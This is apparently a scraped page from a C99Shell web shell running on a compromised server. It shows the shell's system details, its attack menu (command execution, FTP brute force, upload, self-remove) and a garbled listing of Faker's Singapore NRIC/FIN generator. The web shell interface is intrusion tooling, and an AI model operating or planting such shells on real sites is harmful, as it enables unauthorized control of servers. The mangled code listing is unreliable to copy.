!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/fakerphp/faker/src/Faker/Provider/en_SG/   drwxr-xr-x
Free 29.26 GB of 117.98 GB (24.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Person.php (2.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Faker\Provider\en_SG;

use 
Faker\Provider\DateTime;

class 
Person extends \Faker\Provider\Person
{
    
/**
     * National Registration Identity Card number
     *
     * @param \DateTime|null $birthDate birth date
     *
     * @return string in format S1234567D or T1234567J
     */
    
public static function nric(?\DateTime $birthDate null): string
    
{
        return 
self::singaporeId($birthDatefalse);
    }

    
/**
     * Foreign Identification Number
     *
     * @param \DateTime|null $issueDate issue date
     *
     * @return string in format F1234567N or G1234567X
     */
    
public static function fin(?\DateTime $issueDate null): string
    
{
        return 
self::singaporeId($issueDatetrue);
    }

    
/**
     * Singapore NRIC (citizens) or FIN (foreigners) number
     *
     * @param \DateTime|null $issueDate birth/issue date
     * @param bool           $foreigner whether a person is foreigner or citizen
     *
     * @return string in format S1234567D, T1234567J, F1234567N or G1234567X
     */
    
public static function singaporeId(?\DateTime $issueDate nullbool $foreigner false): string
    
{
        if (
$issueDate === null) {
            
$issueDate DateTime::dateTimeThisCentury();
        }

        
$weights = [2765432];
        
$result '';

        if (
$foreigner) {
            
$prefix = ($issueDate < new \DateTime('2000-01-01')) ? 'F' 'G';
            
$checksumArr = ['X''W''U''T''R''Q''P''N''M''L''K'];
        } else {
            
$prefix = ($issueDate < new \DateTime('2000-01-01')) ? 'S' 'T';
            
// NRICs before 1968 did not contain YOB
            
$result .= ($issueDate < new \DateTime('1968-01-01')) ? static::randomElement(['00''01']) : $issueDate->format('y');
            
$checksumArr = ['J''Z''I''H''G''F''E''D''C''B''A'];
        }

        
$length count($weights);

        for (
$i strlen($result); $i $length; ++$i) {
            
$result .= static::randomDigit();
        }

        
$checksum in_array($prefix, ['G''T'], true) ? 0;

        for (
$i 0$i $length; ++$i) {
            
$checksum += (int) $result[$i] * $weights[$i];
        }

        return 
$prefix $result $checksumArr[$checksum 11];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--